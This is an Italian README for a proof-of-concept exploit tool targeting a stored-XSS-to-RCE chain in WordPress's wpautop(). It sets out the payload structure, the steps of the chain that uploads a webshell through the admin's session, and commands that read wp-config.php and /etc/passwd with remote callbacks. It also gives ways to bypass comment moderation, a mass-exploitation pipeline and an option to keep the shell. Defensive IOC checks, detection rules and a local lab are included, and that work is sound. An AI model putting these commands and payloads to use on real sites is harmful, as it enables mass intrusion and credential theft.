Catena di exploit WordPress pre-auth zero-click CVE-2026-93485: XSS memorizzato in wpautop() che scala fino al caricamento di plugin tramite sessione admin e a una webshell auto-eliminante, con scanner, shell e template Nuclei.
Comment2Shell è un proof-of-concept end-to-end per CVE-2026-93485, un
XSS memorizzato pre-autenticazione nel core di WordPress wpautop() che
si escala a esecuzione di codice remoto all'interno di una sessione di amministratore. Un
commento anonimo pianta il payload; quando un admin apre il post, il
browser carica un plugin webshell, esegue un comando e cancella la shell
di nuovo. L'intera catena è un singolo file Python senza dipendenze.
Comment2Shell è un exploit e un kit di laboratorio locale per CVE-2026-93485. Il bug
risiede in wp-includes/formatting.php, nel filtro dei paragrafi wpautop()
che viene eseguito al momento della visualizzazione sul testo dei commenti. Un newline all'interno di un
attributo diventa un segnaposto di commento HTML; la
regex che avvolge i blockquote si ferma al primo e inietta un
tag paragrafo nel mezzo dell'attributo, che il browser poi
interpreta come un handler . L'attributo lo attiva
zero-click.
blockquote cite>onfocusautofocusLo strumento copre l'intera catena: una scansione passiva della versione, una sonda XSS benigna, l'exploit completo da pre-autenticazione a RCE, una shell interattiva e un controllo difensivo degli IOC.
L'exploit non necessita di account, nonce o interazione oltre alla visualizzazione del post da parte dell'admin. I commenti devono solo essere aperti.
WordPress gestisce una grande fetta del web e wpautop() è codice del core, quindi
il filtro vulnerabile è presente in ogni installazione interessata indipendentemente dal tema
o dal plugin. L'XSS è memorizzato, pre-autenticazione e zero-click. Poiché
viene eseguito nella sessione dell'admin, è più di un bug di defacement: il
cookie dell'admin è sufficiente per installare un plugin, e installare un plugin è
esecuzione di codice arbitrario.
La correzione è stata rilasciata in WordPress 7.1.1 con backport su 25 branch, fino alla 4.7.36. Ogni release dalla 4.7.0 alla 7.1.0 è interessata.
Esecuzione in laboratorio controllato contro WordPress 7.1.0: un commento anonimo pianta
il payload, l'admin che apre il post attiva la catena zero-click, la
webshell viene caricata, l'output del comando ritorna e la shell si cancella
da sola. Il titolo della scheda del browser riporta l'esito, ovvero
Comment2Shell: shell uploaded o Comment2Shell: admin login required.
Vedi docker/README.md per la procedura esatta.
Comment2Shell non rivendica la scoperta della falla. È stata segnalata da Rafie Muhammad (Awesome Motive) attraverso il programma HackerOne di WordPress e corretta nella 7.1.1. Il contributo qui è un'implementazione riproducibile e senza dipendenze dell'intera catena:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
Nessuna dipendenza. Solo libreria standard di Python 3.8+, nessun pip install.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -d targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
Il payload dell'exploit attiva
alert("Comment2Shell XSS - CVE-2026-93485")al caricamento della pagina (zero-click tramiteautofocus). Visualizza il post mentre sei connesso come admin. Il titolo della scheda poi mostraComment2Shell: shell uploadedin caso di successo, oComment2Shell: admin login requiredse il browser non ha una sessione admin.
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"
# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"
# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60
# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup
# With an OAST callback
python3 comment2shell.py -t https://target.com \
-c "cat /etc/passwd" \
--callback https://your-id.oast.example
# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
-c "whoami" --known-commenter
# Through a proxy
python3 comment2shell.py -t https://target.com \
-c "id" --proxy http://127.0.0.1:8080
Lo strumento invia il commento XSS, esegue il polling del percorso della webshell generata ogni
3s (fino a --wait secondi), esegue il comando una volta che il browser dell'admin
attiva il caricamento, poi auto-elimina la shell (?d=1 rimuove il file
PHP e cancella la directory del plugin) così non rimane alcuna persistenza.
Passa --no-cleanup per mantenerla, o --wait 0 per inviare solo il payload.
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
--shell-path ab12cd/ab12cd.php
# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
--shell-path ab12cd/ab12cd.php -c "cat wp-config.php"
python3 comment2shell.py --ioc -t https://target.com
I nuovi commenti da commentatori alla prima volta sono solitamente trattenuti per la moderazione. Lo strumento ha tre percorsi per aggirarla:
| Route | Method | Flag |
|---|---|---|
| Known commenter | Reuses the default "A WordPress Commenter" <[email protected]>, which check_comment() auto-approves | --known-commenter |
| Moderation off | If comment_previously_approved=0, any identity is auto-approved | default |
| Author preview | A prior commenter sees pending comments through the ?unapproved=<id>&moderation-hash=<hash> cookie | automatic |
Secondo Patchstack: "la moderazione non è un controllo di sicurezza."
Avvia un WordPress 7.1.0 vulnerabile per test locali:
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80 (host networking)
# Admin: admin / Password123!
# Then: python3 comment2shell.py -t http://localhost -c "id"
Ogni esecuzione invia un nuovo commento payload. Solo il primo payload autofocus
sulla pagina viene eseguito, quindi lo strumento rileva il payload attivo ed esegue il polling del suo percorso;
esegui bash clean.sh per cancellare i commenti più vecchi tra un'esecuzione e l'altra.
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null
# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
onfocus%' ORDER BY comment_date DESC;"
# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
-newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
-not -path "*/hello*"
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"
# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|
# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
httpx -silent -title | \
grep -i "wordpress" | \
python3 comment2shell.py --scan --stdin --threads 20
# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
python3 comment2shell.py -t - -c "id" \
--callback https://your-id.oast.example
# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
--threads 30 -o scan_results.json --json
wp-includes/formatting.php:563 (vulnerabile, prima della 7.1.1):
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );
// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );
Il payload è HTML benigno al momento del salvataggio. blockquote[cite] e code sono
nella allowlist dei commenti (wp-includes/kses.php:605-633). Il newline non è
nella mappa dei caratteri di sintassi di wp_kses_hair(). L'exploit avviene al momento della visualizzazione,
quando i filtri comment_text trasformano l'HTML memorizzato.
add_filter( 'comment_text', 'wptexturize' ); // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 ); // THE BUG
La correzione è stata rilasciata nella 7.1.1 su 25 branch. Ogni release dalla 4.7.0 alla 7.1.0 è interessata.
| Branch | Vulnerable <= | Fixed |
|---|---|---|
| 7.1 | 7.1.0 | 7.1.1 |
| 7.0 | 7.0.4 | 7.0.5 |
| 6.9 | 6.9.7 | 6.9.8 |
| 6.8 | 6.8.8 | 6.8.9 |
| 6.7 | 6.7.7 | 6.7.8 |
| 6.6 | 6.6.7 | 6.6.8 |
| 6.5 | 6.5.10 | 6.5.11 |
| 6.4 | 6.4.10 | 6.4.11 |
| 6.3 | 6.3.10 | 6.3.11 |
| 6.2 | 6.2.11 | 6.2.12 |
| 6.1 | 6.1.12 | 6.1.13 |
| 6.0 | 6.0.14 | 6.0.15 |
| 5.9 | 5.9.16 | 5.9.17 |
| 5.8 | 5.8.15 | 5.8.16 |
| 5.7 | 5.7.17 | 5.7.18 |
| 5.6 | 5.6.19 | 5.6.20 |
| 5.5 | 5.5.20 | 5.5.21 |
| 5.4 | 5.4.21 | 5.4.22 |
| 5.3 | 5.3.23 | 5.3.24 |
| 5.2 | 5.2.26 | 5.2.27 |
| 5.1 | 5.1.24 | 5.1.25 |
| 5.0 | 5.0.27 | 5.0.28 |
| 4.9 | 4.9.31 | 4.9.32 |
| 4.8 | 4.8.30 | 4.8.31 |
| 4.7 | 4.7.35 | 4.7.36 |
Comment2Shell/
|-- comment2shell.py scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/ vulnerable WordPress 7.1.0 lab
| |-- docker-compose.yml
| |-- setup.sh
| |-- clean.sh
| +-- README.md
|-- nuclei/ detection template
|-- ioc/ server-side IOC checker
|-- requests/ raw HTTP exploit templates
|-- assets/ banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE
wptexturize che sigilla
l'attributo); i temi classici potrebbero non attivarlo.docker/clean.sh.
Questo progetto esiste per test di sicurezza autorizzati e formazione. Usalo solo contro sistemi che possiedi o per cui hai esplicito permesso scritto di testare. L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni. Gli autori non sono responsabili per uso improprio o danni. Vedi LICENSE.
0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383